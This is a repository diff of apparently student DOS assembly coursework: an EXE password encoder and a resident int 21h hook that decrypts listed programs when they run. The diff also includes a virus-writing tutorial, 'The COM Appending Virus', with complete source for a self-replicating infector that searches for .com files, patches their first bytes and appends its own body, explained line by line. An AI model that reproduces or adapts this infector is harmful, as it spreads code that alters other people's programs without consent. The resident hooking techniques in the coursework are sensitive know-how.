+ db '                           - Copyright Enikeew I.R. 2084/1 -',10,13,'$'
+
+ msg_un db 10,13,10,13
+ db '- Decoder were successfully removed -',10,13
+ db '                           - Copyright Enikeew I.R. 2084/1 -',10,13,'$'
+
+ fname db 'files.txt',0
+ pname db 'pass.txt', 0
+
+already_resident:
+  mov ah,9                                  ; Installed OK message
+  lea dx,[msg_already]
+  int 21h
+  jmp exit_prog
+
+not_installed:
+  mov ah,9                                  ; Installed OK message
+  lea dx,[msg_not]
+  int 21h
+  jmp exit_prog
+
+remove:
+  push cs cs
+  pop ds es
+ 
+  mov ax,0DEADh                     ;our decoder residency check
+  int 21h                           ;
+  cmp bx,0CAFEh                     ;>CAFE :o)
+  jne not_installed                 ;it isn't resident
+
+  mov ax, 0DEDDh
+  int 21h
+
+  mov ah,9                                  ; Installed OK message
+  lea dx,[msg_un]
+  int 21h
+  jmp exit_prog
+
+VERY_END:
+decoder ends
+end start

BIN
ASM/!SPBSTU/4sem/Kursovik/2/CODER.EXE


BIN
ASM/!SPBSTU/4sem/Kursovik/2/DECODER.EXE


BIN
ASM/!SPBSTU/4sem/Kursovik/2/DECODER.TR


BIN
ASM/!SPBSTU/4sem/Kursovik/2/GETNAME.TR


BIN
ASM/!SPBSTU/4sem/Kursovik/2/HOST.EXE


BIN
ASM/!SPBSTU/4sem/Kursovik/2/HOST.TR


+ 312 - 0
ASM/!SPBSTU/4sem/Kursovik/2/coder.as2

@@ -0,0 +1,312 @@
+jumps
+.286
+cseg segment byte public 'CODE'
+        assume cs:cseg, ds:cseg, es:cseg
+start:
+        mov ax, seg cseg
+        mov es, ax
+        push ax
+
+        mov si, 80h
+        cmp byte ptr ds:[si], 0
+        je errusg
+        xor ax, ax
+        mov al, ds:[si]
+        dec ax
+        mov cx, ax
+        inc si
+        inc si
+
+        mov di, offset _hname
+
+lp:     cmp byte ptr ds:[si], 0dh
+        je wrk
+        movsb
+        loop lp
+
+wrk:    pop ds
+
+;------------- Host --------------------
+        mov ax, 3d02h
+        mov dx, offset _hname
+        int 21h
+        jc IOErr
+        mov bx, ax
+        mov handle, ax
+
+        mov ah, 3fh
+        mov dx, offset header
+        mov cx, 28
+        int 21h
+;------------- Host --------------------
+
+;------- Password ----------------------
+        mov ah, 09h
+        mov dx, offset enter_pass
+        int 21h
+        ; Read password from stdin
+        ;-------------------------------
+        lea di, [pass]
+        mov cx, 20
+chrloop:mov ah, 08h
+        int 21h
+        cmp al, 0Dh
+        jz pass_end
+        stosb
+        mov ah, 02h
+        mov dl, '*'
+        int 21h
+        dec cx
+        jnz chrloop
+pass_end:
+        mov ah, 09h
+        mov dx, offset newline
+        int 21h
+        sub cx, 20
+        neg cx
+        mov [pass_len], cx
+        cmp cx, 3
+        jl pass_error
+        ;-----------------------------------
+        ; Done
+
+;------------- Header ------------------
+        mov ax, 'CD'                    ; Set signature
+        mov [header+12h], ax
+;------------- Header ------------------
+
+        ; Write EXE header
+        mov ax, 4200h
+        mov bx, handle
+        xor cx, cx
+        xor dx, dx
+        int 21h
+
+        mov ah, 40h
+        mov cx, 28
+        mov dx, offset header
+        int 21h
+
+        ; Calculate count of encode bytes
+        mov ax, 4202h
+        xor cx, cx
+        xor dx, dx
+        int 21h
+
+        mov cx, dx      ; Hi part
+        mov dx, ax      ; Lo part
+
+        assume cs:cseg, ds:dseg, es:dseg
+        mov ax, seg dseg
+        mov es, ax
+        mov ds, ax
+        
+        mov bx, cs:[header+8]
+        mov ax, bx
+        shr ax, 12
+        mov cs:[lastOffsH], ax
+        shl bx, 4
+        mov cs:[lastOffsL], bx
+
+        sub cx,[lastOffsH] 
+        sub dx,[lastOffsL] 
+
+        mov bx, [handle]
+
+        push dx        
+seg_loop:
+        test cx, cx
+        jz no_seg
+
+begins: push cx
+;        push dx        
+        mov ax, 4200h
+        mov cx, cs:[lastOffsH]        
+        mov dx, cs:[lastOffsL]
+        int 21h
+
+        mov ah, 3Fh     ; Read segment of 
+        mov cx, 0ffffh  ; input file
+        mov dx, 0       ;
+        int 21h         ;
+        mov ah, 3Fh     ; Read segment of 
+        mov cx, 1h      ; input file
+        mov dx, 0ffffh  ;
+        int 21h         ;
+
+        xor di, di
+        xor cx, cx
+        not cx
+        call addmagic
+        call encode
+
+        mov ax, 4200h
+        mov cx, cs:[lastOffsH]        
+        mov dx, cs:[lastOffsL]
+        int 21h
+
+        mov ah, 40h     ; Write segment to
+        mov cx, 0FFFFh   ; the input file
+        mov dx, 0       ;
+        int 21h         ;
+        mov ah, 40h     ; Write segment to
+        mov dx, 0FFFFh   ; the input file
+        mov cx, 1       ;
+        int 21h         ;
+
+        inc cs:[lastOffsH]
+
+        pop cx
+        dec cx
+        jmp seg_loop
+
+no_seg: 
+        mov ax, 4200h
+        mov cx, cs:[lastOffsH]        
+        mov dx, cs:[lastOffsL]
+        int 21h
+        mov ah, 3Fh     ; Read data of 
+        pop cx          ; input file
+        push cx
+        mov dx, 0       ;
+        int 21h         ;
+
+        xor di, di
+        pop cx
+        push cx
+        dec cx
+        call addmagic
+        xor di, di
+        call encode
+
+        mov ax, 4200h
+        mov cx, cs:[lastOffsH]        
+        mov dx, cs:[lastOffsL]
+        int 21h
+
+        mov ah, 40h     ; Write segment to
+        pop cx
+        mov dx, 0       ;
+        int 21h         ;
+
+        pop dx
+        ; Close host file
+        mov ah, 3eh
+        int 21h
+        ;- Done
+;--------------------------------------------------        
+        mov ah, 4ch
+        int 21h
+;--------------------------------------------------
+;==================================================
+;--------------------------------------------------
+pass_error:
+        mov dx, offset bad_pass
+        mov ah, 09h
+        int 21h
+
+        mov ax, 4cFFh
+        int 21h
+errusg: pop ds
+        mov ah, 09h
+        mov dx, offset errstr
+        int 21h
+        mov ax, 4cFEh
+        int 21h
+
+IOErr: mov ah, 09h
+        mov dx, offset errstr
+        int 21h
+        mov ax, 4cFDh
+        int 21h
+
+;-----------------------------------------------
+encode proc near 
+        push si
+        push ax
+        push cx
+loops2: mov si, offset pass
+        cmp cx, cs:[pass_len]
+        jb lasts2
+        push cx
+        mov cx, cs:[pass_len]
+addmag2: mov al, cs:[si]
+        xor es:[di], al
+        inc si
+        inc di
+        loop addmag2
+        pop cx
+        sub cx, cs:[pass_len]
+        jmp loops2
+
+lasts2: inc cx
+lasts3: mov al, cs:[si]
+        xor es:[di], al
+        inc si
+        inc di
+        loop lasts3
+
+        pop cx
+        pop ax
+        pop si
+        ret
+endp
+
+addmagic proc near 
+        push si
+        push ax
+        push cx
+loops:  mov si, offset test_pass
+        cmp cx, 10
+        jb lasts
+        push cx
+        mov cx, 10
+addmag: mov al, cs:[si]
+        add es:[di], al
+        inc si
+        inc di
+        loop addmag
+        pop cx
+        sub cx, 10
+        jmp loops
+
+lasts:  inc cx
+lasts0: mov al, cs:[si]
+        add es:[di], al
+        inc si
+        inc di
+        loop lasts0
+
+        pop cx
+        pop ax
+        pop si
+        ret
+endp
+
+test_pass db 10, 12, 15, 17, -20, -13, 05, -30, 55, -51
+io_err_str      db 'Error in file io', 0dh, 0ah, '$'
+enter_pass db 'Please enter pass: $'
+errstr     db 'usage: "coder.exe source"', 0dh, 0ah,'$'
+_hname          db 13 dup (0)
+bad_pass        db 'Bad password',0dh,0ah,'$'
+newline         db 0dh,0ah,'$'
+zeroBuf         db 400 dup (0)
+pass            db 20 dup (0)
+pass_len        dw ?
+handle          dw ?
+header          dw 14 dup (?)
+_isize          dw ?
+lastOffsH       dw ?
+lastOffsL       dw ?
+rCS2            dw ?
+rIP2            dw ?
+reloBuf         dw 200 dup (?)
+buffer          dw 07B00h dup (?)
+ends
+dseg segment para public 'DATA'
+file_buf db 0FFFFh dup (?)
+ends
+sseg segment stack
+ db 200 dup (?)
+ends
+end start

+ 543 - 0
ASM/!SPBSTU/4sem/Kursovik/2/decoder.as2

@@ -0,0 +1,543 @@
+.286
+decoder segment
+  assume cs:decoder, ds:decoder, es:decoder
+ 
+ jumps
+
+cMAX_FILE   equ 10
+cNAME_LEN   equ 12
+cPASS_LEN   equ 20
+cBUF_SIZE   equ 300
+ 
+start:
+ 
+  push ds                           ;save PSP address
+; Check command line
+  cmp byte ptr ds:[80h], 0
+  je install
+
+  cmp word ptr ds:[82h], 'u/'
+  je remove
+
+install: 
+  push cs cs
+  pop ds es
+ 
+  mov ax,0DEADh                     ;our decoder residency check
+  int 21h                           ;
+  cmp bx,0CAFEh                     ;>CAFE :o)
+  je already_resident               ;its already resident
+
+;----------------
+; Read files&passwords
+  mov ax, 3d00h
+  mov dx, offset fname
+  int 21h
+  jc exit_prog
+
+  xchg bx, ax
+
+  mov ah, 3fh
+  mov cx, cMAX_FILE*cNAME_LEN
+  mov dx, offset files
+  int 21h
+
+  mov ah, 3eh
+  int 21h
+  
+  mov ax, 3d00h
+  mov dx, offset pname
+  int 21h
+  jc exit_prog
+
+  xchg bx, ax
+
+  mov ah, 3fh
+  mov cx, cMAX_FILE*cPASS_LEN
+  mov dx, offset passwords
+  int 21h
+
+  mov ah, 3eh
+  int 21h
+  
+  pop ds                            
+  push ds                           ;PSP address back into DS
+  ;--------------------------------------------------
+  mov ax,ds                                 ;MCB residency
+  dec ax                                    
+  mov ds,ax                                 
+ 
+  sub word ptr ds:[3],80h                   ; Decrease the size of Memory Block by 2Kb
+  sub word ptr ds:[12h],80h                 ; Same, but in PSP
+ 
+  xor ax,ax
+  mov ds,ax
+
+  mov ax, 2
+  sub word ptr ds:[413h], ax                ; Decrease BIOS data's free space by 2Kb
+ 
+  mov ax,word ptr ds:[413h]                 ; Calculate page number of free 2Kb of space
+  shl ax,6
+ 
+  mov es,ax
+ 
+  push cs
+  pop ds
+ 
+  lea si, [RES_BEG]                   ; Copy our prog there
+  xor di,di
+  mov cx, the_end - RES_BEG              ; Size of interrupt handlers
+  rep movsb
+  ;--------------------------------------------------
+  xor ax,ax                                 ;Setting of interrupts
+  mov ds,ax                                 
+                                            
+  mov ax,es                                 
+  mov bx,0                                  ; Offset to interrupt in new address
+  cli
+  xchg bx,word ptr ds:[21h*4]
+  xchg ax,word ptr ds:[21h*4+2]
+  mov word ptr es:[old_int21h-RES_BEG],bx
+  mov word ptr es:[old_int21h+2-RES_BEG],ax
+  sti
+  ;--------------------------------------------------
+  push cs cs
+  pop ds es
+ 
+  mov ah,9                                  ; Installed OK message
+  lea dx,[message]
+  int 21h
+
+ exit_prog:
+  pop ds                                    ;Restore PSP in DS
+  mov ax,4c00h                              ;Request terminate program
+  int 21h
+;-----------------------------------------------------------------
+; Resident begins here
+RES_BEG: 
+ new_int21h:                                ;our int 21h handler
+  pushf                                     ;push the flags
+  cmp ax,0DEADh                             ;residency check
+  jne no_install_check
+  mov bx,0CAFEh                             ;already resident
+  popf                                      ;restore all flags
+  iret                                      ;return
+ no_install_check:
+  cmp ax, 0DEDDh
+  je uninstall
+  cmp ah, 4bh                               ;check if execute
+  je infect
+  cmp ah, 4ch                               ;check if terminate
+  je terminate
+
+ return:
+  popf                                      ;restore all flags
+ db 0eah                                    ;jmp to orig int 21h
+ old_int21h dd ?
+;--------------------------------
+uninstall:
+  pusha                                     ;only 286, saves all gen reg
+  push ds
+  push es
+
+  push cs
+  pop es
+
+  xor ax,ax
+  mov ds,ax
+ 
+  inc word ptr ds:[413h]                    ;Increase BIOS data's free space by 1Kb
+  cli
+  xchg bx,word ptr es:[old_int21h-RES_BEG]
+  xchg ax,word ptr es:[old_int21h+2-RES_BEG]
+  
+  mov word ptr ds:[21h*4],bx
+  mov word ptr ds:[21h*4+2],ax
+  sti
+
+  pop es
+  pop ds
+  popa
+
+  popf                                      ;restore all flags
+  iret                                      ;return
+;-------------------------------   
+ infect:
+  pusha                                     ;only 286, saves all gen reg
+  push ds
+  push es
+
+  call tsr_delta
+ tsr_delta:
+  pop bp                                    ;a tsr delta offset %-)
+  sub bp, offset tsr_delta
+
+  push ds
+  push dx
+  ; Test, if currently opening file is in database
+  mov di, dx
+  call SeekZ
+  push di
+
+  std
+  mov al, '\'
+  repnz scasb
+  cld
+  jnz $+3
+  inc di
+  inc di
+
+  pop cx
+  sub cx, di
+
+  push cx
+  push di
+
+  mov dx, 12
+
+  push cs
+  pop es
+  lea di, es:[bp+files]
+
+searchloop:
+  pop si
+  pop cx
+  push cx
+  push si
+  push di
+
+  mov al, es:[di]
+  jz not_found
+
+  repz cmpsb
+  jz found
+
+  pop di
+  add di, dx
+  jmp searchloop
+
+found:
+  pop di
+  pop si
+  pop cx
+
+; Calculate offset to password
+; Get number of file in table
+  lea si, es:[bp+files]
+  sub di, si
+  mov ax, di
+  mov bx, cNAME_LEN
+  xor dx, dx
+  div bx
+
+  mov bx, cPASS_LEN
+  mul bx
+
+  lea di, es:[bp+passwords]
+  add di, bx
+  mov es:[bp+pass], di
+
+  push cs
+  pop ds
+  mov cx, cPASS_LEN
+  mov al, ' '
+  repnz scasb
+  jnz $+3
+  inc cx
+  sub cx, cPASS_LEN
+  neg cx
+
+  mov es:[bp+pass_len], cx
+
+
+  pop dx
+  pop ds
+
+  jmp decode_file
+
+not_found:
+  pop di
+  pop si
+  pop cx
+  pop dx
+  pop ds
+
+  jmp exit
+;------------------------------------
+
+decode_file: 
+  mov ax,3d02h                              ;open file in DS:DX
+  int 21h
+  jc exit
+ 
+  xchg ax,bx                                ;file handle to bx
+  mov cs:[bp+handle], ax
+ 
+  push cs cs
+  pop ds es
+ 
+  mov ah,3fh                                ;Read the target header
+  lea dx,[bp+header]                        ;into our buffer
+  mov cx,1ch
+  int 21h
+
+  mov ax, word ptr [bp+header+12h]                   ; Test if program is our coded prog
+  cmp ax, 'CD'
+  jnz close
+;-------------------------
+; Decode all the file
+;------------------------- 
+        ; Calculate count of encode bytes
+        mov ax, 4202h
+        xor cx, cx
+        xor dx, dx
+        int 21h
+
+        mov cx, dx      ; Hi part
+        mov dx, ax      ; Lo part
+
+        mov bx, word ptr [bp+header+8]
+        mov ax, bx
+        shr ax, 12
+        push ax
+        shl bx, 4
+
+        sub cx, ax
+        sub dx, bx
+        push dx
+
+        mov cx, ax
+        mov bx, [bp+handle]
+        mov ax, 4200h
+        int 21h
+
+        pop dx
+        pop cx
+buf_loop:
+        push cx
+        push dx
+
+        sub dx, cBUF_SIZE
+        sbb cx, 0
+        jle last_buf
+
+begins:
+        mov ah, 3Fh             ; Read full buffer of
+        mov cx, cBUF_SIZE       ; EXECing file
+        lea dx, [bp+buffer]
+        int 21h         
+
+        mov cx, ax
+        dec cx
+        lea di, [bp+buffer]
+        call decode
+        lea di, [bp+buffer]
+        call submagic
+
+        mov ax, 4201h
+        mov dx, cBUF_SIZE
+        neg dx
+        xor cx, cx
+        int 21h
+
+        mov ah, 40h     ; Write segment to
+        mov cx, cBUF_SIZE ; the input file
+        lea dx, [bp+buffer]
+        int 21h         ;
+
+        pop dx
+        pop cx
+
+        sub dx, cBUF_SIZE
+        sbb cx, 0
+        jmp buf_loop
+
+last_buf:
+        pop cx
+        pop dx
+
+        mov ah, 3Fh     ; Read data of
+        push cx
+        lea dx, [bp+buffer]
+        int 21h         ;
+
+        lea di, [bp+buffer]
+        pop cx
+        push cx
+        dec cx
+        lea di, [bp+buffer]
+        call decode
+        lea di, [bp+buffer]
+        call submagic
+
+        mov ax, 4201h
+        pop dx
+        push dx
+        neg dx
+        xor cx, cx
+        int 21h
+
+        mov ah, 40h     ; Write segment to
+        pop cx
+        lea dx, [bp+buffer]
+        int 21h         ;
+
+        ;- Done
+ 
+ close:
+  mov ah,3eh                                ;close file
+  int 21h
+ 
+ exit:
+  pop es
+  pop ds
+  popa
+  jmp return
+
+terminate:
+
+ jmp return
+ 
+ 
+ pass_len dw 0
+ pass      dw 0
+ header db 1ch dup(?)                       ;Buffer for header
+ handle    dw 0
+ passwords db (cPASS_LEN*cMAX_FILE) dup (0)
+  db 0
+ files     db (cNAME_LEN*cMAX_FILE) dup (0)
+  db ' '
+ buffer    db cBUF_SIZE dup (?)
+ test_pass db 10, 12, 15, 17, -20, -13, 05, -30, 55, -51
+;-----------------------
+SeekZ proc near
+  mov al, 0
+  mov cx, 0ffffh
+  repnz scasb
+  neg cx
+  dec cx
+  dec di
+  ret
+endp
+
+;------------------
+; es:di - what to decode
+; cx - length
+decode proc near 
+        push si
+        push ax
+        push cx
+        push dx
+        mov dx, ds:[bp+pass_len]
+loops2: mov si, ds:[bp+pass]
+        cmp cx, dx
+        jb lasts2
+        push cx
+        mov cx, dx
+addmag2: mov al, ds:[si]
+        xor es:[di], al
+        inc si
+        inc di
+        loop addmag2
+        pop cx
+        sub cx, dx
+        jmp loops2
+
+lasts2: inc cx
+lasts3: mov al, ds:[si]
+        xor es:[di], al
+        inc si
+        inc di
+        loop lasts3
+
+        pop dx
+        pop cx
+        pop ax
+        pop si
+        ret
+endp
+
+submagic proc near 
+        push si
+        push ax
+        push cx
+loops:  lea si, ds:[bp+test_pass]
+        cmp cx, 10
+        jb lasts
+        push cx
+        mov cx, 10
+addmag: mov al, ds:[si]
+        sub es:[di], al
+        inc si
+        inc di
+        loop addmag
+        pop cx
+        sub cx, 10
+        jmp loops
+
+lasts:  inc cx
+lasts0: mov al, ds:[si]
+        sub es:[di], al
+        inc si
+        inc di
+        loop lasts0
+
+        pop cx
+        pop ax
+        pop si
+        ret
+endp
+;------------------
+ the_end:
+
+ message db 10,13,10,13
+ db '- Decoder of encrypted files successfully installed -',10,13
+ db '                           - Copyright Enikeew I.R. 2084/1 -',10,13,'$'
+
+ msg_already db 10, 13
+ db '- Decoder already installed - ', 10, 13
+ db '                           - Copyright Enikeew I.R. 2084/1 -',10,13,'$'
+
+ msg_not db 10, 13
+ db '- Decoder isn''t installed !- ', 10, 13
+ db '                           - Copyright Enikeew I.R. 2084/1 -',10,13,'$'
+
+ msg_un db 10,13,10,13
+ db '- Decoder were successfully removed -',10,13
+ db '                           - Copyright Enikeew I.R. 2084/1 -',10,13,'$'
+
+ fname db 'files.txt',0
+ pname db 'pass.txt', 0
+
+already_resident:
+  mov ah,9                                  ; Installed OK message
+  lea dx,[msg_already]
+  int 21h
+  jmp exit_prog
+
+not_installed:
+  mov ah,9                                  ; Installed OK message
+  lea dx,[msg_not]
+  int 21h
+  jmp exit_prog
+
+remove:
+  push cs cs
+  pop ds es
+ 
+  mov ax,0DEADh                     ;our decoder residency check
+  int 21h                           ;
+  cmp bx,0CAFEh                     ;>CAFE :o)
+  jne not_installed                 ;it isn't resident
+
+  mov ax, 0DEDDh
+  int 21h
+
+  mov ah,9                                  ; Installed OK message
+  lea dx,[msg_un]
+  int 21h
+  jmp exit_prog
+
+
+decoder ends
+end start

+ 1 - 0
ASM/!SPBSTU/4sem/Kursovik/2/files.txt

@@ -0,0 +1 @@
+HOST.EXE    FUCK.EXE    

+ 96 - 0
ASM/!SPBSTU/4sem/Kursovik/2/getname.asm

@@ -0,0 +1,96 @@
+; ‚ à¨ ­â 19
+; …­¨ª¥¥¢ ˆ.�.  2084/1
+.286
+.model tiny
+.data
+org 100h
+start:  
+
+  mov dx, offset path
+
+  mov di, offset pass
+  mov cx, 10
+  mov al, ' '
+  repnz scasb
+  jnz $+3
+  inc cx
+  sub cx, 10
+  neg cx
+
+  call bps
+bps:
+  pop bp
+  sub bp, offset bps
+;---------------------
+  push ds
+  push dx
+  ; Test, if currently opening file is in database
+  mov di, dx
+  call SeekZ
+  push di
+
+  std
+  mov al, '\'
+  repnz scasb
+  cld
+  jnz $+3
+  inc di
+  inc di
+
+  pop cx
+  sub cx, di
+
+  push cx
+  push di
+
+  mov dx, 12
+
+  push cs
+  pop es
+  lea di, [bp+files]
+
+searchloop:
+  pop si
+  pop cx
+  push cx
+  push si
+  push di
+
+  mov al, es:[di]
+  jz not_found
+
+  repz cmpsb
+  jz found
+
+  pop di
+  add di, dx
+  jmp searchloop
+
+found:
+  pop di
+  pop si
+  pop cx
+  jmp outta
+
+not_found:
+    
+
+outta:
+        mov ah, 4ch
+        int 21h
+
+SeekZ proc near
+  mov al, 0
+  mov cx, 0ffffh
+  repnz scasb
+  neg cx
+  dec cx
+  dec di
+  ret
+endp
+
+path db 0
+files db 0
+pass db '1234567890   '
+
+end start

+ 393 - 0
ASM/!SPBSTU/4sem/Kursovik/2/h2

@@ -0,0 +1,393 @@
+Lesson 2 The COM Appending Virus By Horny Toad 
+          
+      
+
+
+In the first lesson, we discussed how to write the most basic form of virus, the overwriting virus. This type of virus has serious deficiencies which, I hope, should be very 
+obvious to you. Nonetheless, the basic overwriting virus is a necessary stepping stone in the overall virus writing curriculum. The next virus that we will be looking at is the 
+COM appending infector. This virus is a step up in that it infects the host program without destroying it. 
+
+As the complexity of the virii increase, so do the concepts that pertain to them. With the overwriting virus, we weren't very concerned with the host program, the one that 
+we were infecting, quite simply, because it was going to be destroyed. With the appending virus, our ultimate goal is not to harm the host program, but to slightly modify it 
+to hold the virus code and then be able to run itself. Therefore, with the appender, you really need to visualize what is happening with your virus code and the effects on the 
+host program. Memory usage and management are going to start playing a bigger part in your virus writing. And you can't relax after learning this virus, with EXE infectors, 
+resident and boot virii, memory will continue to haunt you. Then, once you have a grasp on memory management, I will through some windows programming your way and 
+utterly confuse you. At this stage, just be happy with the virus that is in this tutorial. You have accomplished a great success when you can not only produce appending 
+virii, but really understand what is going on. Don't listen to the people that criticize the shit out of overwriting and com appenders. Understanding the basic concepts in 
+virus programming will help to build a solid foundation in your coding skills and make the more difficult resident virii easier to grasp. 
+
+I have decided to continue with the format that I used in the first lesson to describe this virus. Therefore, when you are coding in the future and need a quick explanation of 
+a certain technique, you only need to glance at the individual sections of this tutorial. Also, I do expect that you have gone through the first tutorial on overwriting infectors. 
+In keeping with the Codebreaker's idea of easy-to-understand articles, I will continue to describe all of the basic assembly code, even if it was already touched upon in the 
+first lesson. 
+
+I must add that the code in this article is unoptimized for the purpose of instruction. I specifically divided the code up into many different routines so that I could comment 
+on each of them and what they do in the virus itself. I also will add that I code TASM-friendly assembly. I only use Borland's Turbo Assembler. I suggest that you use it. It 
+is very easy to understand and the majority of virii out there are written with TASM in mind. If you still want to use MASM or some other assembler, fine, just make sure 
+that you know the format that your code has to be in. 
+
+After I published the last tutorial, I received a few complaints that people didn't fully understand the use of registers and memory addressing. It was not my goal to 
+completely explain the use of certain complex concepts in the first tutorial. You did not need to know complex memory management to write an overwriter. In this tutorial, I 
+will not be going over hooking interrupts, extended registers, or in-depth flag usage. Such techniques are not needed to understand a COM appender. In the next tutorial, I 
+will be discussing EXE appenders and, in the fourth tutorial, resident virii. Be patient. Wait to understand the more difficult concepts once you need them. Otherwise, you 
+will only get confused. 
+
+Well, on with the virus. I will go ahead and give you a copy below of the basic COM appender, so that, throughout the tutorial, you can reference back to the basic 
+skeleton code. During the explanation of the individual parts of code, I will offer different techniques to accomplish the same results as you see in the basic code. 
+   code segment
+        assume cs:code,ds:code
+        org 100h
+    
+   start:
+        db 0e9h,0,0
+    
+   toad:
+        call bounce
+    
+   bounce:
+        pop  bp
+        sub  bp,OFFSET bounce
+    
+   first_three:
+        mov cx,3
+        lea  si,[bp+OFFSET thrbyte]
+        mov  di,100h
+        push di
+        rep movsb
+    
+   move_dta:
+        lea  dx,[bp+OFFSET hide_dta]
+        mov  ah,1ah
+        int  21h
+    
+   get_one:
+        mov  ah,4eh
+        lea  dx,[bp+comsig]
+        mov  cx,7
+    
+   next:
+        int  21h
+        jnc  openit
+        jmp  bug_out
+    
+   Openit:
+        mov  ax,3d02h
+        lea  dx,[bp+OFFSET hide_dta+1eh]
+        int  21h
+        xchg ax,bx
+    
+   rec_thr:
+        mov  ah,3fh
+        lea  dx,[bp+thrbyte]
+        mov  cx,3
+        int  21h
+    
+   infect_chk:
+        mov  ax,word ptr [bp+hide_dta+1ah]
+        mov  cx,word ptr [bp+thrbyte+1]
+        add  cx,horny_toad-toad+3
+        cmp  ax,cx
+        jz   close_up
+    
+   jmp_size:
+         sub  ax,3
+         mov  word ptr [bp+newjump+1],ax
+    
+   to_begin:
+         mov ax,4200h
+         xor cx,cx
+         xor dx,dx
+         int 21h
+    
+   write_jump:
+         mov ah,40h
+         mov cx,3
+         lea dx,[bp+newjump]
+         int 21h
+    
+   to_end:
+         mov ax,4202h
+         xor cx,cx
+         xor dx,dx
+         int 21h
+    
+   write_body:
+         mov ah,40h
+         mov cx,horny_toad-toad
+         lea dx,[bp+toad]
+         int 21h
+    
+   close_up:
+         mov  ah,3eh
+         int  21h
+    
+   next_bug:
+         mov  ah,4fh
+         jmp  next
+    
+   bug_out:
+         mov  dx,80h
+         mov  ah,1ah
+         int  21h
+         retn
+    
+    
+   comsig db '*.com',0
+   thrbyte db 0cdh,20h,0
+   newjump db 0e9h,0,0
+    
+   horny_toad label near
+    
+   hide_dta db 42 dup (?)
+    
+   code    ENDS
+           END    start
+Well, that is the basic code that we will be using for the virus. Now, before we get into discussing what the individual lines of code do, let's try to conceptualize what a 
+COM appending virus is. Take a look below at the steps that a COM appending virus takes when executed. 
+
+Outline of the COM Appending Virus 
+   Determine the Delta Offset 
+   Restore the infected file's original 3 bytes 
+   Set a new DTA address 
+   Find a COM file. 
+   If none then go to step 16. 
+   Open the file. 
+   Read and store the first 3 bytes of the file. 
+   Check if file has been previously infected. 
+   Calculate the size of the jump to main virus body. 
+   Move to the beginning of the file. 
+   Write the jump to the main virus body. 
+   Move to the end of the file. 
+   Append the virus main body to the end of the file. 
+   Close the file. 
+   Find next matching file. Back to step 4. 
+   Return the DTA to 80 hex and restore control to host program. 
+I swore that I would never include cheesy graphics in my tutorials, but I guess I should, in order to give you a picture of what the virus and the host program look like before 
+and after infection. 
+   Toad2 Virus                Innocent Program
+   163 bytes                  200 bytes
+   -----------                -----------
+   =         =                =         =
+   =         =                =         =
+   =         =                =         =
+   =         =                =         =
+   =         =                =         =
+   =         =                =         =
+   =         =                =         =
+   =         =                =         =
+   -----------                -----------
+    
+    
+               After Infection
+    
+   0ffset 100h  ---------------
+                =Jump to Virus=  
+                =Main Body    =  -  3 bytes long
+                =-------------=
+                =             =  The delta offset is the calculation
+                = Innocent    =  of the amount of space that the virus
+                = Program     =  main body has moved down past the Innocent
+                = Main Body   =  program main body.
+                =             =   
+                =             = 
+                =-------------=  
+                =             =
+                = Virus Main  =
+                = Body        =
+                =             =
+                =             =
+                =             =
+                =Data Section =
+                =of Virus     =
+                =--Original---=
+                =--3 bytes of-=
+                =--Innocent---=
+                =--Program----=
+                =-------------=
+Hopefully, I haven't completely discouraged and confused you. Once the individual sections of code are explained, all of these steps will make sense. Something that you 
+must remember when looking at the virus code is that the virus is currently in its first generation. It hasn't yet infected a file. When you are trying to figure out how the virus 
+code works, you will have to think of it in terms of the first time it runs as well as when the infected program is running. 
+
+Well, lets have a look at the code. 
+   code    segment
+The segment directive defines the parameters for a segment. In this instance we are defining the code segment. All of the executable code, the meat of our program will lie 
+inside of the code segment. This segment does not necessarily have to be named "code" segment, but it is only logical, and a good programming convention, to name it 
+the "code" segment. If we were dealing with a larger program, one that had many procedures of external calls, we would definitely want to define a specific segment as our 
+data segment separate from the code. Since this is a very small piece of code, the two will be intermixed. 
+   assume  cs:code,ds:code
+The assume directive lies within the code segment and matches the name that you gave your segment, such as code, with associated register. In our program, we are 
+stating that the code and data segment registers will be associated with the "code" segment. What does this mean? Basically we are still setting up the parameters of our 
+COM file. We are following convention by defining where things are in our program and how they are set up. What are the CS and DS registers? The code segment 
+register is going to contain the starting address of your programs code segment. . Essentially, it tells your computer where to begin to look for your executable code. The 
+DS register contains the starting address for the data section. Another register that I might as well bring up is the IP or instruction pointer register. The job of the IP is to 
+contain the offset address of the next line of code that is to be executed. What is an offset address? An offset address is not a true address of a line in your program, 
+rather a value of the distance away from a given point. If you put two concepts together, the code segment register added to the instruction point register will give you the 
+next executable line in your program. The CS will stay constant as the IP counts up the lines of code. 
+   org     100h
+You should remember this from the overwriting virus. This directive is telling the computer that our virus is a COM file located at 100 hex or 256 bytes. This 100 hex 
+distance is actually an offset directly after the PSP or program segment prefix. The value 100h is placed in the IP, telling the computer where to begin. PSP contains 
+information about your program and is created in memory when the program is loaded. 
+   start:
+        db 0e9h,0,0
+The first instruction that needs to be coded is the jump to our virus code. In the initial execution of our virus, we only want control to the next line of code, so we define a 
+blank jump. The DB or "define byte" directive is most commonly used in the data section of our virus to define strings of information. In this instance, we are literally 
+defining an assembly instruction manually. The instruction that we are defining is "jump." At the lowest level, the level at which the computer processes code, the 
+instruction "jmp" has been transformed by the compiler to it's binary form "11101001." In coding assembly, the preferred numerical system is hexadecimal, so we convert 
+the binary to e9h. No way am I getting into describing how to manually convert bin-dec-hex. I prefer to let my little old Casio do the conversions for me. Get back on track 
+Toad. Do you think that the jump instruction stays null once the virus has infected a program? If you answered "No", then congratulations. Once the virus has infected a 
+program, the first instruction in the code of the infected host will be a jump to the main virus body. Each time the virus infects a program, the first 3 bytes, including the 
+jump instruction will be rewritten with a calculation to jump over the host program to the virus main body. As we progress through the virus, this will all become clearer. 
+   toad:
+        call bounce
+    
+   bounce:
+        pop  bp
+        sub  bp,OFFSET bounce
+The Delta Offset. This is probably the most singular important concept that you will have to learn when coding an appending virus. When you compile the virus for the first 
+time, the assembler calculates the value of all of the offsets. Once the virus has appended itself to the end of the host program, the offsets that the assembler calculated 
+are now all incorrect. The offsets do not take into account the amount of space the code has moved forward, beyond the host program. Before we go into the calculation of 
+the delta offset, lets look at the new instructions within this routine. The first is the "call" instruction. If you remember the old BASIC computer language, call is like 
+GOSUB. A call instruction pushes the IP onto the stack. Ok, let's take a look at that last sentence. What does it mean? Who's pushing who? And what the hell is a 
+stack? Don't panic, we are going to take this nice and easy. The stack is a temporary memory location that can be used to store such things as the IP (the address of the 
+next instruction) during a "call". The term "push" means that the data is being moved onto the stack. The opposite of "push" is "pop". The pop instruction merely transfers 
